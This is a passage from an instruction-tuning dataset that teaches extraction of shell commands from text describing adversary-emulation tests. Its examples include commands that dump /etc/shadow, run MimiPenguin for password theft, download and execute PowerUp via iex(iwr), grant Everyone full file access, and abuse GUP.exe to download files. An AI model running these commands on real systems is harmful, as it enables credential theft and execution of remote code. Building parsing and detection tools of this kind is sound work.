    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To search for 'SYSTEM' events in the Security log and save them to a text file, use the following PowerShell command: powershell -c {get-eventlog 'Security' | where {$_.Message -like '*SYSTEM*'} | export-csv $env:temp\\T1654_events.txt}",
    "output": "{\"command_list\": [\"powershell -c {get-eventlog 'Security' | where {$_.Message -like '*SYSTEM*'} | export-csv $env:temp\\\\T1654_events.txt}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This emulates changes to the syslog configuration with the command:\nif [ -f \"/etc/#{syslog_config_file_name}\" ];\nthen echo '#art_test_1562_006_2' >> /etc/#{syslog_config_file_name}\nfi\n",
    "output": "{\"command_list\": [\"if [ -f \\\"/etc/#{syslog_config_file_name}\\\" ];\\nthen echo '#art_test_1562_006_2' >> /etc/#{syslog_config_file_name}\\nfi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic test mimics Ryuk Ransomware's behavior by granting Everyone full access to a specified path, using the following command: icacls \"#{path}\" /grant Everyone:F /T /C /Q",
    "output": "{\"command_list\": [\"icacls \\\"#{path}\\\" /grant Everyone:F /T /C /Q\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test can be performed by executing the command: find /usr/bin -perm -2000, which identifies files with the setgid bit enabled.",
    "output": "{\"command_list\": [\"find /usr/bin -perm -2000\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can modify the registry to allow remote assistance via RDP by executing this command: reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fAllowToGetHelp /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v fAllowToGetHelp /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Targeting Ubuntu-based distros and certain GNOME Keyring versions, MimiPenguin retrieves passwords from memory. Run the following to output the results to a file: sudo #{MimiPenguin_Location} > #{output_file}\ncat #{output_file}",
    "output": "{\"command_list\": [\"sudo #{MimiPenguin_Location} > #{output_file}\\ncat #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The password and shadow files can be dumped with sh builtins via this multi-step command:\ntestcat(){ (while read line; do echo $line >> #{output_file}; done < $1) }\n[ \"$(uname)\" = 'FreeBSD' ] && testcat /etc/master.passwd\ntestcat /etc/passwd\ntestcat /etc/shadow\n",
    "output": "{\"command_list\": [\"testcat(){ (while read line; do echo $line >> #{output_file}; done < $1) }\\n[ \\\"$(uname)\\\" = 'FreeBSD' ] && testcat /etc/master.passwd\\ntestcat /etc/passwd\\ntestcat /etc/shadow\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    As referenced in security research, GUP's update functionality can be abused to download arbitrary zip files. The following command sequence demonstrates this capability, resulting in a file being downloaded to C:\\Temp\\Sample:\nmkdir \"c:\\Temp\"\ncd #{working_dir}\nGUP.exe -unzipTo \"\" \"C:\\Temp\" \"Sample #{target_file_url} #{target_file_sha256}\"",
    "output": "{\"command_list\": [\"mkdir \\\"c:\\\\Temp\\\"\\ncd #{working_dir}\\nGUP.exe -unzipTo \\\"\\\" \\\"C:\\\\Temp\\\" \\\"Sample #{target_file_url} #{target_file_sha256}\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 